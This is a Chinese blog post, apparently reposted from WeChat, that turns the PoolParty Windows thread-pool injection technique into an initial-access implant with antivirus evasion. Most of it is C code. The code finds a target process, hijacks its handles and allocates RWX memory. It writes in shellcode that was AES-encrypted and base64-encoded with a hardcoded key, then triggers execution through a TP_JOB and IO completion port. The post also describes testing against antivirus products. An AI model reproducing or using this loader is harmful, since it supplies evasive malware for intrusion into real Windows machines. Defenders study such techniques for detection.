前言
12月,一位拿过冠军的巴西柔术运动员在2023欧洲黑帽大会发表了一个新的代码注入的研究,这不禁让我感慨万千。跟人家业余的一比,我这拿打站当饭碗的人都看不见他的尾灯。
这位研究员找出了一种新的代码注入方式将其取名为PoolParty
。这是一种利用Windows线程池的代码注入,今年下半年也出过其他新的技术例如NtSetInformationProcess
、 DllNotificationInjection
,多多少少都有些踩着前人肩膀的意味,不过PoolParty
确是新的技术。当我第一次看研究文章的时候这个技术在国内也没什么知名度,但过了几天不知怎的连国内某些工具搬运号都在传一个PoolParty
的bof脚本。
bof只能在获取权限后用实现权限维持,其实这个注入拿来作为初始访问也是不错的。
目的
我不打算在本篇文章中详细探究Windows线程池的机制,也不打算实现PoolParty
每一种的注入方式。我使用一种方式作为参考,并用代码实现一个用于初始访问的马并做基本的免杀,在文章最后公开所有相关的代码。
PoolParty
作者给出了示例代码,但是他用标准c++
以及boost
库写的,代码比较难以理解,我参考其他的bof项目进行了改动,采用其中一种向TP_ALPC
插入工作项的方式来实现。
介绍
常规的代码注入分三步,分配空间/修改空间->写入shellcode->执行线程/进程,各种新技术的研究也就是围绕着这三点。PoolParty
利用用户模式下的Windows的可信进程池机制解决了第三步————执行的问题,可以很大程度上规避EDR及杀毒。
要了解如何使用Windows线程池注入,首先要知道什么是Windows线程池。
Windows 线程池是一种由操作系统提供的机制,用于管理和执行应用程序中的并发任务。线程池允许应用程序有效地利用系统资源,通过重用线程来减少线程的创建和销毁开销,从而提高性能和响应性。*
Windows上的所有进程是共享线程池的,线程池包括工作线程、等待线程、工作队列、工作器工厂、默认线程池。作者详细剖析了线程池的每个功能,并利用8种不同的利用方式实现了代码注入。
实现
获取目标进程句柄
因为是远程注入,所以需要指定一个进程,作为初始访问,各个机器上的pid事先是不知道的,可以写一个GetProcessIdByName
函数,使用CreateToolhelp32Snapshot
创建快照,然后来根据进程名枚举pid。
然后使用OpenProcess
函数根据进程pid获取句柄,以便进行后续操作。
DWORD
GetProcessIdByName
(
const
wchar_t
* processName)
{
DWORD pid =
0
;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
0
);
if
(snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W processEntry;
processEntry.dwSize =
sizeof
(PROCESSENTRY32W);
if
(Process32FirstW(snapshot, &processEntry)) {
do
{
if
(_wcsicmp(processEntry.szExeFile, processName) ==
0
) {
pid = processEntry.th32ProcessID;
break
;
}
}
while
(Process32NextW(snapshot, &processEntry));
}
CloseHandle(snapshot);
}
return
pid;
}
HANDLE
GetTargetProcessHandle
()
{
DWORD m_dwTargetPid = GetProcessIdByName(processName);
//得到PID
HANDLE p_hTargetPid = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, m_dwTargetPid);
//获取句柄
if
(p_hTargetPid ==
NULL
) {
return
NULL
;
}
else
{
return
p_hTargetPid;
}
}
劫持进程句柄
通过查找NtQueryInformationProcess
函数的地址,将目标进程的句柄信息到当前进程,便可以在当前进程操作目标进程了,这要比直接操作远程线程安全。
HANDLE
HijackProcessHandle
(PWSTR wsObjectType, HANDLE p_hTarget, DWORD dwDesiredAccess)
{
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQueryInformationProcess"
));
BYTE* Information =
NULL
;
ULONG InformationLength =
0
;
NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
do
{
Information = (BYTE*)
realloc
(Information, InformationLength);
Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength);
}
while
(STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information);
HANDLE p_hDuplicatedObject;
ULONG InformationLength_ =
0
;
for
(
int
i =
0
; i < pProcessHandleInformation->NumberOfHandles; i++) {
DuplicateHandle(
p_hTarget,
pProcessHandleInformation->Handles[i].HandleValue,
GetCurrentProcess(),
&p_hDuplicatedObject,
dwDesiredAccess,
FALSE,
(DWORD_PTR)
NULL
);
BYTE* pObjectInformation;
pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation);
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation);
if
(wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) !=
0
) {
continue
;
}
return
p_hDuplicatedObject;
}
}
分配内存空间
由于已经劫持了目标进程,在当前进程分配空间等于在目标进程分配空间。
因为这个技术解决的是CreateRemoteThread()
的问题,所以分配空间修改空间属性还是必要的。
LPVOID ShellcodeAddress = VirtualAllocEx(m_p_hTargetPid,
NULL
, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if
(ShellcodeAddress ==
NULL
) {
return
-1
;
}
return
ShellcodeAddress;
写入shellcode
使用WriteProcessMemory
写入shellcode
BOOL res = WriteProcessMemory(m_p_hTargetPid, m_ShellcodeAddress, m_cShellcode, m_szShellcodeSize,
NULL
);
写入之前还需要进行shellcode加密实现免杀。
自定义代码的AES算法用于加密,不要使用AES库,要使用自定义代码实现。
使用python脚本加密二进制的shellcode,脚本使用32位随机key加密原始shellcode并base64,加密后会在当前目录生成一个sc.h
文件。
文件内容如下
const
char
sc_0[
16
] = {
0x4c
,
0x62
,
0x6f
,
0x44
,
0x4f
,
0x68
,
0x42
,
0x4f
,
0x32
,
0x66
,
0x35
,
0x6a
,
0x34
,
0x4f
,
0x51
,
0x52
};
char
sc_1[
16
] = {
0x58
,
0x59
,
0x48
,
0x56
,
0x74
,
0x51
,
0x30
,
0x4d
,
0x62
,
0x55
,
0x61
,
0x5a
,
0x66
,
0x2b
,
0x68
,
0x79
};
const
char
sc_2[
16
] = {
0x2b
,
0x33
,
0x4b
,
0x5a
,
0x67
,
0x32
,
0x7a
,
0x44
,
0x4f
,
0x67
,
0x58
,
0x76
,
0x63
,
0x51
,
0x5a
,
0x77
};
char
sc_3[
16
] = {
0x4a
,
0x66
,
0x47
,
0x7a
,
0x4d
,
0x6b
,
0x74
,
0x70
,
0x52
,
0x55
,
0x79
,
0x32
,
0x4b
,
0x57
,
0x75
,
0x73
};
const
char
sc_4[
16
] = {
0x33
,
0x6a
,
0x78
,
0x4e
,
0x63
,
0x6c
,
0x75
,
0x69
,
0x33
,
0x49
,
0x31
,
0x78
,
0x31
,
0x39
,
0x47
,
0x42
};
省略
char
sc[];
int
sc_length = ;
void
buildsc_0
()
{
memcpy
(&sc[
0
], sc_0,
16
);
memcpy
(&sc[
16
], sc_1,
16
);
memcpy
(&sc[
32
], sc_2,
16
);
省略
}
void
buildsc
()
{
buildsc_0();
}
BYTE key[] =
"eMABoOlBgCJyZKavRQiWLqnKENMBLeoA"
;
将加密后的shellcode复制到项目中并定义相应的解密代码
buildsc();
//获取shellcode
size_t
szOutput =
0
;
DWORD size =
0
;
unsigned
char
* file_enc =
NULL
;
BYTE* beaconContent =
NULL
;
size_t
beaconSize =
NULL
;
file_enc = base64_decode(sc, sc_length, &szOutput);
//先对shellcode base64解码
for
(
int
i =
0
; i < sc_length; i++) {
printf
(
"0x%x,"
, file_enc[i]);
}
if
(szOutput ==
0
) {
DEBUG(
"[x] Base64 decode failed n"
);
return
-1
;
}
//使用key来AES解密
beaconSize = szOutput -
16
;
beaconContent = (
unsigned
char
*)
calloc
(beaconSize,
sizeof
(BYTE));
BOOL decryptStatus = aes_decrypt(key, (
sizeof
(key) /
sizeof
(key[
0
])) -
1
, file_enc, beaconSize, beaconContent);
if
(!decryptStatus || beaconContent ==
NULL
) {
DEBUG(
"[x] AES decryption failedn"
);
return
-1
;
}
for
(
int
i =
0
; i < beaconSize; i++) {
m_cShellcode[i] = beaconContent[i];
printf
(
"0x%x,"
, beaconContent[i]);
}
printf
(
"n"
);
m_szShellcodeSize = beaconSize;
向TP_JOB插入线程
随机名称工作对象名
void
RemoteTpJobInsertionSetupExecution
()
{
srand((
unsigned
int
)time(
NULL
));
for
(
int
i =
0
; i < JOB_NAME_LENGTH; ++i) {
POOL_PARTY_JOB_NAME[i] = generateRandomLetter();
}
POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH] =
'�'
;
创建一个工作对象,从ntdll.dll
获取TpAllocJobNotification
函数地址,创建一个线程池工作
_TpAllocJobNotification TpAllocJobNotification = (_TpAllocJobNotification)(GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"TpAllocJobNotification"
));
HANDLE p_hJob = CreateJobObjectA(
NULL
, POOL_PARTY_JOB_NAME);
if
(p_hJob ==
NULL
) {
printf
(
"[INFO] Failed to create job object with name %s"
, POOL_PARTY_JOB_NAME);
return
;
}
printf
(
"[INFO] Created job object with name `%s`"
, POOL_PARTY_JOB_NAME);
PFULL_TP_JOB pTpJob = {
0
};
NTSTATUS Ntstatus = TpAllocJobNotification(&pTpJob, p_hJob, m_ShellcodeAddress,
NULL
,
NULL
);
if
(!NT_SUCCESS(Ntstatus)) {
printf
(
"[INFO] TpAllocJobNotification Failed!"
);
return
;
}
printf
(
"[INFO] Created TP_JOB structure associated with the shellcode"
);
分配TP_JOB并写入目标进程
PFULL_TP_JOB RemoteTpJobAddress = (PFULL_TP_JOB)(VirtualAllocEx(m_p_hTargetPid,
NULL
,
sizeof
(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
printf
(
"[INFO] Allocated TP_JOB memory in the target process: %p"
, RemoteTpJobAddress);
WriteProcessMemory(m_p_hTargetPid, RemoteTpJobAddress, pTpJob,
sizeof
(FULL_TP_JOB),
NULL
);
printf
(
"[INFO] Written the specially crafted TP_JOB structure to the target process"
);
工作对象关联到IO完成端口
JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort = {
0
};
SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort,
sizeof
(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
printf
(
"[INFO] Zeroed out job object `%s` IO completion port"
, POOL_PARTY_JOB_NAME);
JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress;
JobAssociateCopmletionPort.CompletionPort = m_p_hIoCompletion;
SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort,
sizeof
(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
printf
(
"[INFO] Associated job object `%s` with the IO completion port of the target process worker factory"
, POOL_PARTY_JOB_NAME);
将当前进程分配给工作对象
AssignProcessToJobObject(p_hJob, GetCurrentProcess());
printf
(
"[INFO] Assigned current process to job object `%s` to queue a packet to the IO completion port of the target process worker factory"
, POOL_PARTY_JOB_NAME);
}
利用不同的线程池功能会需要不同的条件,这里是通过关联IO端口让工作对象触发线程,其他的方式有例如需要写入文件、链接ALPC端口之类的。
至此已经完成了整个注入流程。
观察
通过在代码中修改processName
指定进程名,可疑看到新线程已经成功被线程池执行。
在进程的内存中可看到注入的代码
对比一下注入前后的线程情况
注入前
注入后
虽然多出几个新线程,但是在线程调用栈中完全找不到可疑API。
最后
改一下后台运行,简单测试一下杀软环境。
杀毒对explorer.exe
、RuntimeBroker.exe
之类的进程严格监控,实战中还需注意。
而且对于不同杀软,实战中还需要实现不同的混淆方式。
引用
原作者文章
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools?utm_source=social-media&utm_medium=twitter&utm_campaign=2023Q3_SM_Twitter
原作者代码
https://github.com/SafeBreach-Labs/PoolParty
Bof插件
https://github.com/0xEr3bus/PoolPartyBof
原文始发于微信公众号(XINYU2428):利用Windows线程池的代码注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论